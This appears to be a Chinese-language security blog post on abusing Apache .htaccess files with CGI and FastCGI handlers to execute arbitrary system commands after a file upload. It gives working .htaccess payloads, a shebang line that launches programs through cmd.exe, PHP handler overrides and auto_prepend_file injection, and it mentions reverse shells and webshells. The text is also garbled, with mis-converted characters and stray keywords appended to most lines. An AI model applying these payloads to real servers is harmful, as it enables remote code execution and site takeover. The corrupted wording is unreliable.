在广泛使用的LAMP架构中,Apache与PHP之间的交互,有三种常见的方式。php
第一种是最通用最多见的Module方式,即在httpd.conf中使用LoadModule的方式,将php的dll或者so文件加载到apache当中。css
还有两种是CGI方式和FastCGI方式。其实后者用的愈来愈普遍了。通常PHP-FPM也是与FastCGI进行配合使用的。html
能够参考CGI、FastCGI和PHP-FPM关系图解和Apache下PHP的几种工做方式来了解更多。python
当咱们了解原理后,Apache是须要调用第三方CGI程序,可是一个程序是否是CGI程序这个事很难界定,咱们可否经过调用特定的CGI程序(普通程序)来执行任意系统命令呢。答案是能够的。linux
1.保证htaccess会被解析,即当前目录中配置了`AllowOverride all或AllowOverride Options FileInfo。AllowOverride参数具体做用可参考Apache之AllowOverride参数详解。(Require all granted也是须要的)nginx
2.cgi_module被加载。即apache配置文件中有LoadModule cgi_module modules/mod_cgi.so这么一句且没有被注释。web
3.有目录的上传、写入权限。apache
上传.htaccess 文件, 内容以下:bash
Options ExecCGI
AddHandler cgi-script .xx
Options ExecCGI表示容许CGI执行,若是AllowOverride只有FileInfo权限且自己就开启了ExecCGI的话,就能够不须要这句话了。网络
第二句告诉Apache将xx后缀名的文件,当作CGI程序进行解析。
接下来,以Windows平台为例,上传poc.xx文件,内容以下:
#!C:/Windows/System32/cmd.exe /c start calc.exe
1
第一行用来表示CGI程序的路径。能够随便开你的脑洞。
由于CGI程序处理完成后,会被Apache关闭,因此咱们这里要用启动新进程的方式来启动。
这时访问poc.xx。计算器就出来啦~~
拿火绒剑来看下~
一目了然,读取了两个文件后,httpd.exe的mod_cgi.so模块执行了咱们的命令。
linux环境下,也是随你玩,是直接调用/bin/bash仍是调用/usr/bin/python来反弹Shell。都是能够的。这其实也就是正常使用方式,由于Python也会被用做为CGI解析程序。
咱们再来看看FastCGI模式的,这个依赖的是mod_fcgid.so,默认安装包里甚至没有这个so文件,不过在PHPStudy的默认配置中,就已是加载了的,而且AllowOverride也是All权限,手动斜眼。
其实还有mod_proxy_fcgi,更为常见,也是默认开启的,还不清楚可否利用,表哥表姐们能够尝试一下。
1.AllowOverride all或AllowOverride Options FileInfo。
2.mod_fcgid.so被加载。即apache配置文件中有LoadModule fcgid_module modules/mod_fcgid.so
3. 有目录的上传、写入权限。
上传.htaccess 文件, 内容以下:
Options +ExecCGI
AddHandler fcgid-script .abc
FcgidWrapper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abc
老样子,若是默认就开启了ExecCGI,则第一句能够省略。
第二句表示,abc后缀名的文件须要被fcgi来解析。AddHandler还能够换成AddType。
再上传1.abc。内容无所谓。
访问1.abc,计算器就出来了~再拿火绒剑看下。
PS:若拥有上传权限,以上两种利用方式,在PHPstudy默认配置当中,都是能够直接使用的。
其实一些小伙伴也已经发现了,上面的问题再配合有上传漏洞,我甚至能够穿个立刻去。可是不管是CGI仍是FastCGI彷佛都是绝对路径,相对路径可不能够呢?
通过了一些尝试,并请教了”裤衩哥”,发现相对路径也是能够的,起始点彷佛和session.save_path变量的值是一致的。如图,好比phpstudy当中,起始点就是在\Extensions\tmp\tmp中。
那么,好比说我想要html后缀使用php来解析。就能够这样写。
AddHandler fcgid-script .html
FcgidWrapper "../../php/php7.3.4nts/php-cgi.exe" .html
再来,我想调用网站根目录的calc.exe。能够这样。
AddHandler fcgid-script .xx
FcgidWrapper "../../../WWW/localhost/calc.exe" .xx
不过计算器没法正常弹出。23333 我猜应该是由于calc毕竟不是个标准CGI程序致使的吧。并且也不必绕这么大个圈子,就没继续测试了。
Module模式下写法以下:
AddType application/x-httpd-php .jpg
或
<FilesMatch "test.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
甚至能够将 .htaccess自己做为php来解析,里面编写一句话。这块网络上相关资料不少。
经过配置auto_append_file或auto_prepend_file能够向全部php文件中的开头或尾部插入指定的文件的内容。
在. htaccess中的写入以下:
php_value auto_prepend_file "/home/fdipzone/header.php"
php_value auto_append_file "/home/fdipzone/footer.php"
对于CGI/FastCGI模式 PHP 5.3.0 以上版本,还可使用 在目录下建立.user.ini文件 。来引入该参数。写法以下:
auto_prepend_file = 123.gif